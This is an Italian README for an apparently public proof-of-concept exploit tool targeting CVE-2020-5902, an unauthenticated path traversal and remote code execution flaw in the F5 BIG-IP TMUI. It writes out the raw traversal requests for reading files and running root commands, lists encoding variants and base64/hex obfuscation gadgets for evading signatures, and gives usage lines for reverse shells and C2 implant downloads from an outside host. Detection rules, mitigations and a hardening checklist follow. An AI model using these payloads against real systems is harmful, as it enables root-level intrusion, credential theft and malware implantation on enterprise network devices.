
F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità.
Exploit proof-of-concept per la vulnerabilità critica di path traversal / remote code execution nell'interfaccia utente di gestione del traffico (TMUI) di F5 BIG-IP.
⚠️ Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si dispone di un'autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio di questo strumento.
F5 BIG-IP è una famiglia di appliance di rete polivalenti (load balancer, WAF, application delivery controller) implementata nella maggior parte delle aziende Fortune 500, delle istituzioni finanziarie, delle organizzazioni sanitarie e delle agenzie governative in tutto il mondo. La Traffic Management User Interface (TMUI) — nota anche come Configuration Utility — è il portale di gestione basato sul web accessibile sulla porta 443 (o 8443).
Nel luglio 2020, F5 ha divulgato la CVE-2020-5902, una vulnerabilità critica (CVSS 9.8) di path traversal non autenticato nella TMUI che consente a un attaccante remoto e non autenticato di:
Entro pochi giorni dalla divulgazione pubblica, è stato osservato uno sfruttamento di massa in ambiente reale, anche da parte di attori statali.
La TMUI è basata su Apache Tomcat e utilizza un filtro servlet per applicare l'autenticazione sulle risorse protette. La vulnerabilità risiede nel modo in cui Tomcat analizza i segmenti di percorso delimitati da punto e virgola (;).
La seguente richiesta aggira completamente l'autenticazione:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Perché funziona:
/tmui/login.jsp (termina prima di ;) — che è la pagina di login pubblica — e consente la richiesta./..;/ come un path traversal (/../) prima dell'invio.fileRead.jsp senza autenticazione.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
Il servlet tmshCmd.jsp (raggiungibile anche tramite lo stesso traversal) passa i parametri command e utilCmdArgs direttamente a tmsh (la shell di gestione di BIG-IP), che incapsula run util bash -c '...'. Ciò consente l'esecuzione di comandi di sistema a livello root senza autenticazione:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
Lo strumento applica uno dei due gadget di offuscamento a ogni esecuzione, rendendo più difficile il rilevamento tramite firme statiche:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC non sono interessati da questa specifica CVE.
!revshell, !c2, !read, !brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Requisiti: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
Una volta in modalità --shell, sono disponibili i seguenti comandi speciali:
La mitigazione singolarmente più efficace è garantire che l'interfaccia di gestione non sia mai raggiungibile da reti non fidate:
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
In alternativa, dalla configurazione Self IP di BIG-IP, assicurarsi che la porta di gestione non abbia alcuna rotta esterna.
F5 ha pubblicato uno script di mitigazione che aggiunge una RewriteRule di Apache per bloccare il pattern di traversal:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Riferimento: K52145254 — Passaggi di mitigazione
La soluzione definitiva consiste nell'aggiornare BIG-IP a una versione corretta (vedi la tabella Versioni interessate). F5 ha corretto la logica del filtro servlet affinché i segmenti di percorso delimitati da punto e virgola vengano analizzati correttamente prima dell'imposizione dell'autenticazione.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
Principi chiave:
Self IP di BIG-IP deve essere impostato su Allow None o Allow DefaultsSe un WAF si trova davanti alla gestione di BIG-IP (insolito ma possibile in alcune architetture), aggiungere regole per bloccare:
; nel percorso URL..; o %3b nei segmenti di percorso/tmui/locallb/workspace/ da sorgenti non di gestione[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
Pattern URL:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Obiettivi comuni degli attaccanti (file consultati):
/etc/passwd — credential harvesting
/config/bigip.conf — VPN/routing config exfiltration
/config/bigip.license — license key theft
/config/bigip_user.conf — local admin account enumeration
/root/.bash_history — historical command reconnaissance
http.title:"BIG-IP" port:443Questo strumento è fornito solo a scopo educativo e per valutazioni di sicurezza autorizzate. È pensato per:
L'uso di questo strumento contro sistemi senza un'esplicita autorizzazione scritta costituisce un reato penale ai sensi del Computer Fraud and Abuse Act (CFAA), del UK Computer Misuse Act, della Lei Nº 12.737/2012 del Brasile (Lei Carolina Dieckmann) e delle leggi equivalenti nella maggior parte delle giurisdizioni del mondo.
L'autore e i contributori di questo repository non si assumono alcuna responsabilità per qualsiasi danno, conseguenza legale o altro pregiudizio derivante dall'uso improprio di questo software.
Realizzato per la comunità della ricerca sulla sicurezza. Applicate le patch ai vostri sistemi. Proteggete le vostre reti.
| Variante | Payload |
|---|
| Standard | tmui/login.jsp/..;/tmui/... |
| Punto e virgola codificato | tmui/login.jsp/..%3b/tmui/... |
| Doppio URL-encoding | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Dot-dot Unicode | tmui/login.jsp/%2e%2e;/tmui/... |
| Variazione di maiuscole/minuscole | TMUI/login.jsp/..;/tmui/... |
| Confusione di directory | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| Ramo BIG-IP | Intervallo vulnerabile | Versione corretta |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Comando | Descrizione |
|---|
!revshell <lhost> <lport> | Lancia 4 varianti di reverse shell in contemporanea |
!c2 <url> <type> [args] | Scarica ed esegue un implant C2 |
!read <path> | Legge un file arbitrario tramite LFI |
!brute | Esegue il brute-force su 30 percorsi sensibili |
!exit | Termina la sessione |
<qualsiasi comando OS> | Esegue tramite RCE e stampa l'output |
| Data | Evento |
|---|
| 2020-06-30 | F5 notificata privatamente |
| 2020-07-01 | F5 pubblica l'advisory (K52145254) e le patch |
| 2020-07-03 | PoC pubblico rilasciato su Twitter |
| 2020-07-04 | Sfruttamento di massa osservato da diverse società di threat intelligence |
| 2020-07-06 | La CISA emette la Direttiva di emergenza 20-03 che impone la patch a livello federale |
| 2020-07-09 | Attori statali (APT) confermati nello sfruttamento in ambiente reale |
| 2020-07-15 | Circa 8.000 istanze BIG-IP ancora senza patch (Shodan) |
| 2020-08-xx | I gruppi ransomware iniziano a prendere di mira i dispositivi BIG-IP non patchati |